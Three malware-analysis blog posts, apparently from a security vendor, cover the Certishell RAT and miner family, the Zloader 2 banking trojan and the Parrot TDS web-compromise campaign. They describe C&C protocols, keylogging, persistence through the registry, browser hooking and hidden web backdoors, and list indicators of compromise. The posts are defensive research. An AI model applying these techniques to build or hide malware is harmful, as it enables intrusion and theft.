The Ceritshell family can be split into three different parts. 

1. RAT with a C&C server sivpici.php5[.]sk (Czech/Slovak slang for “you are fucked up”), which has AutoIT, C++ and Go versions.
2. Miner downloaded from hacked websites and started with the script que.vbs from the task. 
3. Miner or ransomware downloaded from hacked websites and launched from a powershell command hidden in registry keys. The command from the registry key is started with the task from the picture above.

The map above shows the risk ratio of users around who were at risk of encountering one of the malware families

Sivpici.php5.sk (2015-2018)

The oldest part of the family is a simple RAT with sivpici.php5[.]sk as the C&C server. It places all the needed files in the folder .win inside of the user folder. 

The malware installer comes disguised as one of the following:

• Cracked software, such as FixmyPC,
• Fraud apps, like SteamCDKeys that share Steam keys,
• Music CD unpackers with names like Extractor.exe or Heslo.exe (Heslo means password in Czech/Slovak) that come with a password protected archive with music files.

The malicious executable downloads an executable named UnRAR.exe and a malicious archive that contains a simple RAT written in C++, AutoIT or Go.

Installer

Every executable installing this malware family contains a script similar to the one in the following picture optionally with curl.exe. This script usually shows the password to archive or start another application. The malicious part downloads a legitimate RAR extractor UnRAR.exe and a malicious archive that can be password protected and unpacks it into the %UserProfile%\.win\ folder. In the end it registers one of the unpacked files as a service, starts it and allows one of the binaries in the firewall.

I found six different methods used to pack the script into executable binary:

1. Bat2exe
2. Quick Batch File Compiler
3. Compiled AutoIT version
   
4. Compiled AutoIT version with obfuscated script
   
5. Compiled AutoIT version with obfuscated script and packed with PELock
6. Compiled AutoIT version with obfuscated script packed with VMProtect

RAT

There are three main variants of this RAT.  All of them use the same C&C sivpici.php5[.]sk and similar communication protocol. The most advanced is a compiled AutoIT script. This script comes in 10 different main versions. The second one is written in C++ and we found only one main version and the last one is written in Go also with one main version. 

The first time it is run, it generates a random alphanumeric string that works as an identificator for the C&C. This identificator is saved into file gen.gen for next start. The communication uses the HTTP protocol. Infected machines send the following back the C&C: 

• pc = ComputerName,
• os = content of SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName,
• uniq = generated identifier, saved in \.win\gen.gen

with the GET method to start.php.

After a random period of time, the malware starts asking for commands using the GET method with the parameter uniq. The response is a number that has fixed meanings throughout all the versions. Commands “1” – “7” are implemented as follows:

1. The RAT downloads a URL from /urlg.php using uniq, from this URL it downloads a file, packed.rar, then the RAT starts run.bat from the installation phase to UnRaR the package to the \.win\Lambda folder and restart the RAT. This allows the RAT to update itself and also download any other file necessary.
2. Create a screenshot and send it with the POST method to the up.php.
3. Send all file names from all drives to up.php.
4. DDoS attack to a chosen IP through UDP/HTTP/PING.
5. Get a list of all installed apps from
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
   saves it to /.win/installed.txt and send them to up.php.
6. Get a list of all running processes, save it to /.win/processes.txt and send them to up.php.
7. Collect log from keylogger, save it to \.win\log.txt and send it to up.php.

The RAT in the form of compiled AutoIT script has the name Winhost.exe. 

There is a comparison of different versions (versioning by the author of the RAT) in the following table.

Version	Commands	Notes
debugging	1	Command 2 opens a message box with text 222222
4	1 – 3	Registration of PC happens only once on reg.php and on connection it sends only the uniq and the version of the RAT to updaver.php
6	1 – 4	Opens /ad.php in a hidden Internet Explorer window once when the user is not interacting with the PC for at least 5 seconds and closes it after 30 seconds.
7	1 – 5
8	1 – 7	Keylogger starts with the start of the RAT.
9	1 – 7	Keylogger has colored output.
10	1 – 7	Keylogger is separate executable ( ~\.win\1.exe)

The keylogger in versions eight and nine is copied from the official AutoIT documentation (with a few small changes) https://www.autoitscript.com/autoit3/docs/libfunctions/_WinAPI_SetWindowsHookEx.htm

The C++ RAT is named dwms.exe. It uses LibCURL to communicate with the C&C. The communication protocol is the same. The uniq identifier is saved in the fr.fr file instead of gen.gen for the AutoIT version, it also starts communication by accessing connect.php instead of start.php.

I’ve managed to find a debugging version that only has the first command implemented and returns only “Command 2” and “Command 3” to the standard output for the second and third command. After every command it answers the C&C by sending uniq and verzia (“version” in English) with GET method to online.php.

The “production” version is labeled as version A. The code is divided into two functions: 

• LLLoad downloads the URL address of the C&C server from the pastebin and tests it by downloading /exists.txt.
• RRRun that contains the first two commands as described above. It also uses /connect/ path for register.php, load.php, online.php and verzia.php.

To download newer versions it uses curl called from the command line.

Another difference is that screenshots taken are sent via FTP to a different domain:
freetips.php5[.]sk/public_html/SHOT.bmp
with the username sivpici and password A1B2C3D4. 

The RAT written in Go only has the first command implemented, but it downloads /cnct/ad.txt and it opens URLs contained on victims computer, thus we speculate it could also work as adware. 

IECache, bitly, pastebin (2016-2018)

The installation of this coinminer is similar to the RAT in the previous section. Installations use the same folder and the scripts have the same name. It usually comes as an unpacker of illegal copies of music and movies downloaded from uloz.to. It uses powershell to download and execute scripts from a bit.ly shortened address. The final stage is coinminer IECache.exe, which is usually XMRig.

Heslo.txt.exe, Crack.exe…

There is a huge variety of programs that download bit.ly-shortened Czech and Slovak sites and execute them. These programs include: GTA SA crack, Mafia, Microsoft Office, Sims, Lego Star Wars, and unpackers for music and movies. These programs usually print a message to the victim and run a malicious script in a hidden window.

The unpackers use UnRAR to unpack the archive and show the victim the password of that archive. 

The cracks on the other hand just show an error message.

All the installation files execute the following command with some bitly shortened site:

There are VBA scripts calling it, basic programs possibly written in C, .Net, AutoIT scripts, Golang programs, Rust programs, Redlang programs, different packers of python and batches, some of them use UPX, MPRESS, VMprotect and PELock. 

Downloaded script

There are at least two new scripts created by the script from the site hidden behind the bit.ly shortened URL, que.vbs and run.bat.

The script also creates one of two services named Winmgr and Winservice that start que.vbs. Que.vbs only starts run.bat which downloads whats.txt contains a script downloading and starting coinminer IECache.exe.

que.vbs hash: 6f2efc19263a3f4b4f8ea8d9fd643260dce5bef599940dae02b4689862bbb362
run.bat hash: 1ad309c8ee17718fb5aacf2587bd51bddb393c0240ee63faf7f890b7093db222

In this case the pastebin contains two lines (the second line is splitted for better readability)

The miner

The miner is saved as IECache.exe or ctfmon.exe.

The first miner (from June, 2018) is just XMRig that includes all command line options inside the binary. 

Most of the miners of this type I found are packed with VMProtect or Themida/Winlicense.

The more interesting one (from Jun-Jul 2018) is a compiled AutoIT script packed with VMProtect. Here again, we see that author speaks Slovak:

This script contains the XMRig as (in some cases LZMA compressed) Base64 encoded string inside a variable. The miner is decoded and started in memory.

In some versions, the script checks user activity and it starts different miners with different options to maximize profit with lower risk of being caught.

Newer samples (Since August, 2018) use sRDI or XOR encryption in memory and injection to a suspended process to hide from antivirus software.

Interesting files

Sourceforge and Github

Some of the samples used Sourceforge and Github to download malicious content, instead of small, possibly hacked websites.

It downloaded content from a repository WEB of user W33v3ly on Github and from user Dieworld on Sourceforge. On Github, the attacker once made a mistake and pushed Systemcall.exe and TestDLL.bin to the wrong repository.

Systemcall.exe hash: e9d96c6de650ada54b3788187132f525094ff7266b87c98d3dd1398c2d5c41a
TestDLL.bin hash: 1d2eda5525725f919cb4ef4412272f059abf4b6f25de5dc3b0fca4ce6ef5dd8e

The Systemcall.exe is a PE file without “MZ” in the beginning and Test.dll contains some random bytes before the PE file. The dll contains XMRig encrypted with TEA and the Systemcall.exe uses sRDI to load and run the Test.dll. 

Steam Giver

This small application written in .Net shows some hacked Steam accounts.

The malicious part downloads and installs the following scripts and downloads UnRAR and begin.rar

Install.vbs creates a task named WinD2 that starts inv.vbs upon every PC startup. Inv.vbs starts runner.bat, which starts %temp%/Microsoft/NisSrve.exe that is unpacked from begin.rar with UnRAR.exe.

Free bet tips

Betters are also targeted. We found a malicious file with the following readme file: 

The binary included only starts a cmd with the script as an argument.

All from registry keys since 2018

After 2018, I observed an updated version of the malware family. There is no need for any script file if you can have a command as a scheduled task and save enough data into registry keys. 

The infection vector is the same as in the previous case. The victim downloads and runs an executable that downloads a powershell script from a hacked website whose URL is shortened with bit.ly. This time the script is different, it creates the following task:

This task reads the value of the registry key Shell placed in HKLM\Software\a and executes its content. The script also creates the Registry key. 

Let’s focus on the value of the registry key Shell. In the following picture you will find the value I found on an infected machine.

After decoding and decompression we get an obfuscated script:

Under two layers of string formatting and replacing we get another compressed base64 encoded script:

Inside the base64 string is malicious code that tests the connection and executes code directly from the internet.

In total, I found about 40 different values of the Shell key in the wild that contain similar code with different URLs and they are obfuscated in the same way or less.

Some of the pastebins were alive. For example, one of them contains the following scripts that sends information about graphic cards to the C&C server, which can decide what to install on an infected computer. I have not found any C&C server alive.

Ransomware

Another final stage that runs from the registry keys is ransomware Athos.exe. At first it checks some tactics from https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf to check if it runs in the sandbox. On the sixth start it injects ransomware into another process that gets the id and encryption key from the web page googleprovider[.]ru. Then it encrypts all the files with AES-CFB and shows the following message saved on imgur (https://i.imgur[.]com/cKkSBSI.jpg). 

We also found AutoIT ransomware King Ouroboros translated to Slovak. The malware was edited to use Windows users’ GUID as encryption key and to download additional content from a different server than the original King Ouroboros.

ransomware hash: 90d99c4fe7f81533fb02cf0f1ff296cc1b2d88ea5c4c8567142bb455f435ee5b

Conclusion

Most of the methods described in this article are not new, in some cases I was able to find their source. The most interesting method is hiding the powershell script to the registry keys. 

As I found out, the author is a Slovak speaker, this corresponds with the fact that the infected files were published only on Uloz.to, therefore the victims are only from the Czech Republic and Slovakia. 

The variation of the final payload is huge. I found three different RATs, a few different packers of coinminers and ransomware that were created by the author and many more that were “available” on the internet. The initial installer, which function was to call only one command, was also created with a huge variety of tools, some of them quite obscure.

To protect against this type of threat, it is enough to download software only from trustworthy sources and use security software, like Avast Antivirus, which will act as a safety net in case you should come across a threat.

Indicators of Compromise (IoC)

• Repository: https://github.com/avast/ioc/tree/master/Certishell
• List of SHA-256: https://github.com/avast/ioc/blob/master/Certishell/samples.sha256
• URI: https://github.com/avast/ioc/blob/master/Certishell/network.txt

The post Warez users fell for Certishell appeared first on Avast Threat Labs.

In this study we are considering one of Zeus successors – Zloader 2. We’ll show how it works and its code peculiarities. We’ll present the result of our deep dive into the botnets and campaigns and show some interesting connections between Zloader and other malware families.

Introduction

Zloader 2 (also known as Silent Night) is a multifunctional modular banking malware, aimed at providing unauthorized access to online banking systems, payment systems and other financial-related services. In addition to these functions it’s able to download and execute arbitrary files, steal files, inject arbitrary code to visited HTML pages and so on.

History

According to ZeusMuseum, first versions of Zeus were observed in 2006-2008. Later, in 2011 its source code leaked. As a result, new versions and variants appeared. One of the Zeus successors named Zloader appeared at the turn of 2016 and 2017. Finally, another successor named Silent Night appeared in 2019. It was for sale on the underground market.

The earliest version of this variant we found has a SHA256:
384f3719ba4fbcf355cc206e27f3bfca94e7bf14dd928de62ab5f74de90df34a
Timestamp 4 December 2019 and version number 1.0.2.0. In the middle of July 2021 the version 2.0.0.0 was spotted.

Microsoft recently announced a joint investigation of multiple security companies and information sharing and analysis centers (ISACs) with the aim to take down the Zloader botnet and took the whole case to court.

Although the original name of the malware likely was Silent Night and the ZeusMuseum calls it Zloader 2 we are simply going to use the name Zloader.

Technical analysis

Modules and components

Zloader consists of different modules and components:

• Downloader – initial infector
• Backdoor – main module, exists in x86 and x64 versions
• VNC module (x86 and x64)
• Web Injects – received from C&C
• Additional libraries (openssl, sqlite, zlib, Mozilla libraries)

Backdoors, VNC modules and additional libraries have assigned module IDs that are used by other components to refer to them.

Distribution

Zloader was distributed using classic email spam. In 2021 the attackers abused Google AdWords to advertise sites with fake Zoom communication tool which actually installed Zloader. Another campaign in 2021 used fake pornsites, where users needed to download additional software to watch video. Downloaders are distributed in a packed form sometimes signed with a valid digital signature.

Map showing the distribution of infected systems:

Code peculiarities

Zloader code is very recognizable. First of all, it is diluted with functions which will never be called. Downloader module may contain functions from the Backdoor module and vice versa. In total, about a half of the code will never be called.

Second, simple x86 instructions like CMP, ADD and XOR are replaced with special functions. These functions contain a lot of useless code to complicate the analysis and they can call other “replacement” functions. To add more insult to the injury multiple “replacement” functions exist for a particular instruction. Also some constants are calculated in runtime using aforementioned “replacement” functions.

Strings are encrypted with a simple XOR algorithm.

Samples have very little imported functions. APIs are resolved in runtime by the hashes of their names.

As a result, more than a half of the file size is useless and serves as an obfuscation of simple operations.

Configuration

Both Downloader and Backdoor modules have built in configuration encrypted with RC4. The decryption key is stored in a plaintext and looks like vcvslrpvwwfanquofupxt. The structure of earlier versions (1.0.x, for example) differs from later versions (1.6.x and 1.8.x). Modern versions store the following information in config:

• Botnet name (divader on the picture below)
• Campaign name (xls_s_2010)
• List of hardcoded C&Cs
• RC4 key (03d5ae30a0bd934a23b6a7f0756aa504)

BinStorage

We have to briefly cover the BinStorage – the data format used by Zloader to communicate with C&Cs and to store various data: web injects, system information, stolen data and logs. BinStorages consists of the header and records (also called fields). Main header stores information about the number of records, data size (in bytes) and their MD5. Records have their own small headers, containing FieldID - DWORD describing the meaning of the data.

Some FieldIDs are hardcoded. For example, in FieldID=0x4E20 the last working C&C is stored. Other FieldIDs are derived from file paths (used to store stolen files).

Registry usage

Zloader modules (at least Downloaders and Backdoors) use a registry to store various data necessary for their work. The ROOT_KEY for this data is HKEY_CURRENT_USER\Software\Microsoft\

The most important and interesting data structure, stored by the Zloader in the registry is called MAIN_STRUCT. It’s subkey in the ROOT_KEY and the value name is derived from the RC4 key found in the configuration. We suppose that bots from one actor use the same RC4 key, so they can easily find and read the MAIN_STRUCT.

MAIN_STRUCT is encrypted using RC4 with the key from the configuration. It stores:

• Registry paths to other storages, used by Zloader
• Files and directories path, used by Zloader
• Encryption key(s) to decrypt those storages

Files usage

Root path is %APPDATA%. Zloader creates directories with random names inside it to store modules, stolen data and logs. These paths are stored into the MAIN_STRUCT.

Networking

As was mentioned before, communication between the bot and C&C is done using BinStorages. Depending on the actual type of the message, field list may be changed, but there are 5 constant fields sent to C&C:

• Some DWORD from the Configuration
• Botnet name from the Configuration
• BotID, derived from the system information
• Debug flag from the Configuration
• 16 random bytes

Requests are encrypted using the RC4 key from the Configuration. C&C responses are signed with RSA.

PING request

This request is used to check if C&C is alive. Response contains only random bytes sent by a bot.

DOWNLOAD MODULE request

This request is used to download modules by their ID from the C&C. The response is not in a BinStorage form!

GET CONFIG request

Used to receive configuration updates: new C&Cs, WebInjects, tasks for downloading etc.

C&Cs and DGA

As was shown before, built in configuration has a list of hardcoded C&Cs. Actually, these lists have not changed for years. To bypass blocking of these hardcoded C&Cs, Zloader uses DGA – Domain Generation Algorithm. In the Zloader, DGA produces 32 domains, based on the current date and RC4 key from the configuration.

There is a 3rd type of C&Cs – received in the response from the server. They’re stored into the Registry.

Downloader module

Analysis based on version 1.6.28.0, 44ede6e1b9be1c013f13d82645f7a9cff7d92b267778f19b46aa5c1f7fa3c10b

Function of Downloader is to download, install and run the next module – the Backdoor.

Main function

Just after the start of the Downloader module, junk code is started. It consists of many junk functions, which forms a kind of a “network”. In the image below there is a call graph from just a single junk function. These functions also trying to read, write and delete some *.txt files %TEMP%. The purpose of this is to delay the execution of the payload and, We suppose, to complicate the emulation, debugging and analysis.

The second and the last task of the Main function is to start msiexec.exe and perform the PE injection of the code into it. Injected data consists of two buffers: the big one, where the Downloader is stored in the encrypted form and the small one (0x42 bytes) with decryption code. Just after the injection Downloader terminates himself.

Injected code

Control flow passed to the small buffer, which decrypts the Downloader in the address space of msiexec.exe After the decryption, Downloader begins to execute its main task. 

First of all, the injected code tries to read MAIN_STRUCT from the registry. If this fails, it thinks it was not installed on this system and the installation process begins: MAIN_STRUCT is created, Downloader module is copied into %APPDATA% and added to the autorun key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with random value name.

In any case, the Backdoor module is requested from the disk or from the network and executed.

Backdoor module

Analysis based on version 1.6.28.0, c7441a27727069ce11f8d54676f8397e85301b4d65d4d722c6b239a495fd0282

There are actually two Backdoor modules: for 32-bit systems (moduleID 0x3EE) and for 64-bit systems (moduleID 0x3E9). Downloader always requests a 32-bit Backdoor.

Backdoors are much more complicated than Downloaders. If we compare the size of our samples (after unpacking), Backdoor will be twice bigger.

Key Backdoor abilities:

• Starting VNC module
• Injecting WebInjects into the pages visited using browsers
• Downloading and execute arbitrary file
• Keylogging
• Making screenshots
• Stealing files and sending to C&C

Stealing files

The largest group of software from which Zloader steal files is crypto wallets:

• Electrum
• Ethereum
• Exodus cryptowallet
• Zcash
• Bitcoin-Qt
• Etc.

It also steals data from browsers: cookies from Chrome, Firefox and IE; saved logins from Chrome. And, finally, it is able to steal accounts information from Microsoft Outlook.

Hooking

To achieve his goals, Zloader performs WinAPI hooking. In order to perform it, Backdoor module enumerates processes and injects itself into the following ones:

• explorer.exe
• msiexec.exe
• iexplore.exe
• firefox.exe
• chrome.exe
• msedge.exe

64-bit version of Backdoor is injected into 64-bit processes, 32-bit version – into 32-bit processes.

Injected code hooks the following WinAPI functions:

• NtCreateUserProcess
• NtCreateThread
• ZwDeviceIoControlFile
• TranslateMessage
• CertGetCertificateChain
• CertVerifyCertificateChainPolicy

Hooks might be divided in 3 groups, depending on the purpose:

1. NtCreateUserProcess and NtCreateThread are hooked to inject a Backdoor module to newly created threads and processes.
2. ZwDeviceIoControlFile, CertGetCertificateChain and CertVerifyCertificateChainPolicy are hooked to support WebInjection mechanism
3. TranslateMessage is hooked to log the keys pressed and to create screenshots

Web Injecting

First of all, browsers must have a Backdoor module injected. At this moment, there are multiple instances of Backdoor Modules running in the system: one, started by Downloader which is “Main Instance” and others, running in browsers. Main Instance starts Man-in-the-browser proxy, other modules hooks ZwDeviceIoControlFile and cert-related WinAPIs (see above). Proxy port number is stored in the BinStorage structure into the Registry, so it is synchronized between Backdoor instances.

Hooked ZwDeviceIoControlFile function is waiting for IOCTL_AFD_CONNECT or IOCTL_AFD_SUPER_CONNECT and routing connections to the proxy. Hooked cert-related functions inform browsers what everything is good with certificates.

Botnets, Campaigns and their activity

Most active botnets and campaigns use RC4 key 03d5ae30a0bd934a23b6a7f0756aa504 and we’ll focus on them in our analysis. Samples with the aforementioned key have versions 1.x, usually 1.6.28, but some have even 1.0.x.

Botnet and Campaign names

Among botnet names it is worth mentioning the following groups:

1. DLLobnova, AktualizacjaDLL, googleaktualizacija, googleaktualizacija1, obnovlenie19, vasja, ivan
2. 9092zi, 9092ti, 9092ca, 9092us, 909222, 9092ge

The first one contains transliterated Slavic words and names (vasja, ivan), maybe with errors. It sheds light on the origins of bad guys – they are definitely Slavs.

Samples with botnet names from the second group were first observed in November 2021 and we found 6 botnet names from this group in the next two months. Letters after numbers, like ca and us might be country codes.

We see the same picture with campaign names: quite a big amount of Slavic words and the same 9092* group. 

WebInjects

We analyzed webinjects and can confirm that they are targeting financial companies: banks, brokerage firms, insurance companies, payment services, cryptocurrency-related services etc.

Injected code is usually small: from dozens of bytes up to 20 kb. To perform its tasks, it loads JavaScript code from external domains, controlled by bad guys. Analysis of these domains allowed us to find connections between Zloader operators and other cybercrime gangs.

Download tasks

Zloader is able to download and execute arbitrary files by the commands from his C&Cs, but for a long time we haven’t seen these commands at all. Things changed on 24 November 2021, when botnet 9092ca received a command to download and execute the file from teamworks455[.]com. This domain was mentioned in [6].

Another two download tasks contained braves[.]fun and endoftheendi[.]com

Connections

During our tracking we have noticed links to other malware families we originally thought were unrelated.

Raccoon Stealer

Two out of three download tasks contained links to Raccoon Stealer. Downloaded samples have the following sha256 hashes:

• 5da3db74eee74412c1290393a0a0487c63b2c022e57aebcd632f0c3caf23d8bc
• 5b731854c58c2c1316633e570c9ec82474347e64b07ace48017d0be2b6331eed

Both of them have the same Raccoon configuration with Telegram channel kumchakl1.

Moreover, Raccoon was mentioned in [6] before we received commands from C&Cs with links to Raccoon. We are lost in conjecture why Zloader operators used Raccoon Stealer? You can read our dive into Racoon stealer here.

Ursnif

Ursnif, also known as Gozi and ISFB is another banking malware family with similar functions.

Digital Signatures

It was quite a big surprise when we found Zloader samples and Ursnif samples signed with the same digital signature!

As an example, consider a signature:
Issuer BABJNCXZHQCJUVWAJJ
Thumbprint 46C79BD6482E287647B1D6700176A5F6F5AC6D57.

Zloader sample signed with it has a SHA256 hash:
2a9ff0a0e962d28c488af9767770d48b9128b19ee43e8df392efb2f1c5a696f.

Signed Ursnif sample has a SHA256 hash:
54e6e6b23dec0432da2b36713a206169468f4f9d7691ccf449d7d946617eca45

It is not the only digital signature, shared among Ursnif and Zloader samples.

Infrastructure

As we mentioned before, the first observed download command contained a link to teamworks455[.]com. We checked the TLS certificate for this site and realized that it was for another site – dotxvcnjlvdajkwerwoh[.]com. We saw this hostname on 11 November 2021 in Ursnif webinjects, it was used to receive stolen data.

Another example – aerulonoured[.]su – host used by Zloader to receive stolen data at least from August 2021. It also appeared in Ursnif webinjects in November 2021.

Third example – qyfurihpsbhbuvitilgw[.]com which was found in Zeus configuration update, received from C&C on 20 October 2021. It must be added to a C&C list and then used by Zloader bots. The same domain was found in Ursnif webinjects on 1 November 2021

And, finally, 4th example – etjmejjcxjtwweitluuw[.]com This domain was generated using DGA from key 03d5ae30a0bd934a23b6a7f0756aa504 and date – 22 September 2021. We have very strong evidence that it was active on that date as a Zloader C&C. The same host was found in Ursnif WebInjects on 1 November 2021

Conclusion

We are proud we could be part of the investigation as we continue our mission to make the world a safer place for everybody. We hope for a successful takedown of the Zloader botnet and prosecution of people who created and operated it.

The post Zloader 2: The Silent Night appeared first on Avast Threat Labs.

Campaign overview

A new Traffic Direction System (TDS) we are calling Parrot TDS, using tens of thousands of compromised websites, has emerged in recent months and is reaching users from around the world. The TDS has infected various web servers hosting more than 16,500 websites, ranging from adult content sites, personal websites, university sites, and local government sites.

Parrot TDS acts as a gateway for further malicious campaigns to reach potential victims. In this particular case, the infected sites’ appearances are altered by a campaign called FakeUpdate (also known as SocGholish), which uses JavaScript to display fake notices for users to update their browser, offering an update file for download. The file observed being delivered to victims is a remote access tool.

The newly discovered TDS is, in some aspects, similar to the Prometheus TDS that appeared in the spring of 2021 [1]. However, what makes Parrot TDS unique is its robustness and its huge reach, giving it the potential to infect millions of users. We identified increased activity of the Parrot TDS in February 2022 by detecting suspicious JavaScript files on compromised web servers. We analysed its behaviour and identified several versions, as well as several types of campaigns using Parrot TDS. Based on the appearance of the first samples and the registration date of the Command and Control (C2) domains it uses, Parrot TDS has been active since October 2021.

One of the main things that distinguishes Parrot TDS from other TDS is how widespread it is and how many potential victims it has. The compromised websites we found appear to have nothing in common apart from servers hosting poorly secured CMS sites, like WordPress sites. From March 1, 2022 to March 29, 2022, we protected more than 600,000 unique users from around the globe from visiting these infected sites. In this time frame, we protected the most users in Brazil, more than 73,000 unique users, India, nearly 55,000 unique users, and more than 31,000 unique users from the US.

Compromised Websites

In February 2022, we identified a significant increase in the number of websites that contained malicious JavaScript code. This code was appended to the end of almost all JavaScript on the compromised web servers we discovered. Over time, we identified two versions (proxied and direct) of what we are calling Parrot TDS. 

In both cases, web servers with different content management systems (CMS) were compromised. Most often WordPress in various versions, including the latest one or Joomla, were affected. Since the compromised web servers have nothing in common, we assume the attackers took advantage of poorly secured servers, with weak login credentials, to gain admin access to the servers, but we do not have enough information to confirm this theory.

Proxied Version

The proxied version communicates with the TDS infrastructure via a malicious PHP script, usually located on the same web server, and executes the response content. A deobfuscated code snippet of the proxied version is shown below.

This code performs basic user filtering based on the User-Agent string, cookies and referrer. Briefly said, this code contacts the TDS only once for each user who visits the infected page. This type of filtering prevents multiple repeating requests and possible server overload.

The aforementioned PHP script serves two purposes. The first is to extract client information like the IP address, referrer and cookies, forward the request from the victim to the Parrot TDS C2 server and send the response in the other direction.

The second functionality allows an attacker to perform arbitrary code execution on the web server by sending a specifically crafted request, effectively creating a backdoor. The PHP script uses different names and is located in different locations, but usually, its name corresponds to the name of the folder it is in (hence the name of the TDS, since it parrots the names of folders).

In several cases, we also identified a traditional web shell on the infected web servers, which was located in various locations under different names but still following the same “parroting” pattern. This web shell likely allowed the attacker more comfortable access to the server, while the backdoor in the PHP script mentioned above was used as a backup option. An example of a web shell identified on one of the compromised web servers is shown below.

Since we have seen several cases of reinfection, it is highly likely that the server automatically restores possibly deleted files using, for example, a cron job. However, we do not have enough information to confirm this theory.

Direct Version

The direct version is almost identical to the previous one. This version utilises the same filtering technique. However, it sends the request directly to the TDS C2 server and, unlike the previous version, omits the malicious backdoor PHP script. It executes the content of the response the same way as the previous version. The whole communication sequence of both versions is depicted below. We experimentally verified that the TDS redirects from one IP address only once.

Identified Campaigns

The Parrot TDS response is JavaScript code that is executed on the client. In general, this code can be arbitrary and exposes clients to further danger. However, in practice, we have seen only two types of responses. The first, shown below, is simply setting the __utma cookie on the client. This happens when the client should not be redirected to the landing page. Due to the cookie-based user filtering mentioned above, this step effectively prevents repeated requests on Parrot TDS C2 servers in the future.

The next code snippet shows the second type, which is a campaign redirection targeting Windows machines.

FakeUpdate Campaign

The most prevalent “customer” of Parrot TDS we saw in the wild was the FakeUpdate campaign. The previous version of this campaign was described by MalwareBytes Lab in 2018 [2]. Although the version we identified slightly differs from the 2018 version, the core remains the same. The user receives JavaScript that changes the appearance of the page and tries to force the user to download malicious code. An example of what such a page looks like is shown below.

This JavaScript also contains a Base64 encoded ZIP file with one malicious JavaScript file inside. Once the user downloads the ZIP file and executes the JavaScript it contains, the code starts fingerprinting the client in several stages and then delivers the final payload.

User Filtering

The entire infection chain is set up so that it is complicated to replicate and, therefore, to investigate it. Parrot TDS provides the first layer of defence, which filters users based on IP address, User-Agent and referrer. 

The FakeUpdate campaign provides the second layer of defence, using several mechanisms. The first is using unique URLs that deliver malicious content to only one specific user.

The last defence mechanism is scanning the user’s PC. This scan is performed by several JavaScript codes sent by the FakeUpdate C2 server to the user. This scan harvests the following information.

• Name of the PC
• User name
• Domain name
• Manufacturer
• Model
• BIOS version
• Antivirus and antispyware products
• MAC address
• List of processes
• OS version

An overview of the process is shown in the picture below. The first part represents the Parrot TDS filtering based on the IP address, referrer and cookies, and after the user successfully passes these tests, the FakeUpdate page appears. The second part represents the FakeUpdate filtering based on a scan of the victim’s device.

Final Payload

The final payload is then delivered in two phases. In the first phase, a PowerShell script is dropped and run by the malicious JavaScript code. This PowerShell script is downloaded to a temporary folder under a random eight character name (e.g. %Temp%\1c017f89.ps1). However, the name of this PowerShell is hardcoded in the JavaScript code. The content of this script is usually a simple whoami /all command. The result is sent back to the C2 server.

In the second phase, the final payload is delivered. This payload is downloaded to the AppData\Roaming folder. Here, a folder with a random name containing several files is dropped. The payloads we have observed so far are part of the NetSupport Client remote access tool and allow the attacker to gain easy access to the compromised machines [3]. 

The RAT is commonly named ctfmon.exe (mimicking the name of a legitimate program). It is also automatically started when the computer is switched on by setting an HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key.

The installed NetSupport Manager tool is configured so that the user has very little chance of noticing it and, at the same time, gives the attacker maximum opportunities. The tool basically gives the attacker full access to the victim’s machine. To run unnoticed, chat functions are disabled, and the silent option is set on the tool, for example. A gateway is also set up that allows the attacker to connect to the client from anywhere in the world. So far, we’ve seen Chinese domains in the tool’s configuration files used as gateways. The following picture below shows the client settings.

Phishing

We identified several infected servers hosting phishing sites. These phishing sites, imitating, for example, a Microsoft office login page, were hosted on compromised servers in the form of PHP scripts. The figure below shows the aforementioned Microsoft phishing observed on an otherwise legitimate site. We don’t have enough information to assign this to Parrot TDS directly. However, a significant number of the compromised servers contained phishing as well.

Conclusion and Recommendation

We have identified an extensive infrastructure of compromised web servers that served as TDS and put a large number of users at risk. Given that the attacker had almost unlimited access to tens of thousands of web servers, the above list of campaigns is undoubtedly not exhaustive. 

The Avast Threat Labs has several recommendations for developers to avoid their servers from being compromised.

• Scan all files on the web server with Avast Antivirus.
• Replace all JavaScript and PHP files on the web server with original ones.
• Use the latest CMS version.
• Use the latest versions of installed plugins.
• Check for automatically running tasks on the web server (for example, cron jobs).
• Check and set up secure credentials. Make sure to always use unique credentials for every service.
• Check the administrator accounts on the server. Make sure each of them belongs to you and have strong passwords.
• When applicable, set up 2FA for all the web server admin accounts.
• Use some of the available security plugins (WordPress, Joomla).

Indicators of Compromise (IoC)

• Repository: https://github.com/avast/ioc/tree/master/ParrotTDS

Parrot TDS

SHA256	Description
e22e88c8ec0f439eebbb6387eeea0d332f57c137ae85cf1d8d1bb4c7ea8bd2f2	Proxied version JavaScript
daabdec3d5a43bb1c0340451be466d9f90eaa0cfac92fb6beaabc59452c473c3	Direct version JavaScript
b63260c1f213c02fcbb5c1a069ab2f1d17031e598fd19673bb639aa7557a9bae	web shell
On demand*	PHP Backdoor

* In attempts to prevent further attacks onto the infected servers, we are providing this hash on demand. Please DM us on Twitter or reach us out at [email protected].

C&C Servers

clickstat360[.]com

statclick[.]net

staticvisit[.]net

webcachespace[.]net

syncadv[.]com

webcachestorage[.]com

FakeUpdate

SHA256	Description
0046fad95da901f398f800ece8af479573a08ebf8db9529851172ead01648faa	FakeUpdate JavaScript
15afd9eb66450b440d154e98ed82971f1b968323ff11b839b046ae4bec60f855	FakeUpdate appearance JavaScript

C&C Servers
parmsplace[.]com	ahrealestatepr[.]com	expresswayautopr[.]com
xomosagency[.]com	codigodebarra[.]co	craigconnors[.]com
lawrencetravelco[.]com	maxxcorp[.]net	2ctmedia[.]com
accountablitypartner[.]com	walmyrivera[.]com	youbyashboutique[.]com
weightlossihp[.]com	codingbit[.]co[.]in	fishslayerjigco[.]com
avanzatechnicalsolutions[.]com	srkpc[.]com	wholesalerandy[.]com
mattingsolutions[.]co	integrativehealthpartners[.]com	wwpcrisis[.]com
lilscrambler[.]com	markbrey[.]com	nuwealthmedia[.]com
pocketstay[.]com	fioressence[.]com	drpease[.]com
refinedwebs[.]com	spillpalletonline[.]com	altcoinfan[.]com
windsorbongvape[.]com	hill-family[.]us	109.234.35[.]249
141.136.35[.]157	91.219.236[.]192*	91.219.236[.]202*

* Delivering the final payload

NetSupport RAT

SHA256	Filename
b6b51f4273420c24ea7dc13ef4cc7615262ccbdf6f5e5a49dae604ec153055ad	%AppData%/Roaming/xxx/ctfmon.exe**
